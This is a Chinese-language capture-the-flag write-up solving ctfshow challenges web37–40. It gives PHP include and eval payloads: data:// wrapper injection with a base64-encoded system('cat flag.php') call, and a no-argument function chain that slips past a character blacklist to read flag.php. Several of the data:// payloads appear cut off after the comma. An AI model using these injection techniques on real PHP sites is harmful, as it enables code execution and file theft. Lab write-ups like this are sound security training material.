ctfshow 命令执行 web37-40

web37

关键代码:

if(!preg_match("/flag/i", $c)){
     
        include($c);
        echo $flag;
        } 

include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

data://协议用法:
data://text/plain,
data://text/plain;base64,
payload: c=data://text/plain,       //查看flag.php,右键源码中查找flag
payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
                          //'base64,'后面是base64加密的

web38

主要代码:

if(!preg_match("/flag|php|file/i", $c)){
     
        include($c);
        echo $flag;
    } 

比上一题多过滤了php、file,上一题的第一个payload无法使用,可以直接用第二个base64编码绕过php

payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
                          //'base64,'后面是base64加密的

web39

hint:data://text/plain,这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

payload:c=data://text/plain,

web40

参考:https://www.cnblogs.com/NPFS/p/13778333.html
拜读:PHP的rce函数学习 https://www.wrpzkb.cn/rce/
拜读:PHP Parametric Function RCE https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

主要代码:

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
     
        eval($c);
    } 

根据转义符\与左括号和右括号的间距可以看出过滤的是中文括号,题目考察php无参数函数构造,即可以为a(b());a();等但不能为a('b');

函数:print_r(scandir('.'))可以用来查看当前目录所有文件名
接下来需要将括号中的.替代掉

localeconv()函数返回一包含本地数字及货币格式信息的数组,如下只是该函数的一部分数组元素
ctfshow 命令执行 web37-40_第1张图片
ctfshow 命令执行 web37-40_第2张图片
可利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir('.'))中的参数.
那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:

current()函数返回数组中的当前元素/单元,默认取第一个值;
pos()函数同上,是current()函数的别名;
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE
构造:print_r(scandir(current(localeconv())));
     print_r(scandir(pos(localeconv())));
     print_r(scandir(reset(localeconv())));
     //以上函数均可查看当前目录文件

ctfshow 命令执行 web37-40_第3张图片
可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php

payload:c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

有些题目是参考大佬们的writeup并在我自己的理解上写的,欢迎大佬们批评指正。

你可能感兴趣的:(ctfshow 命令执行 web37-40)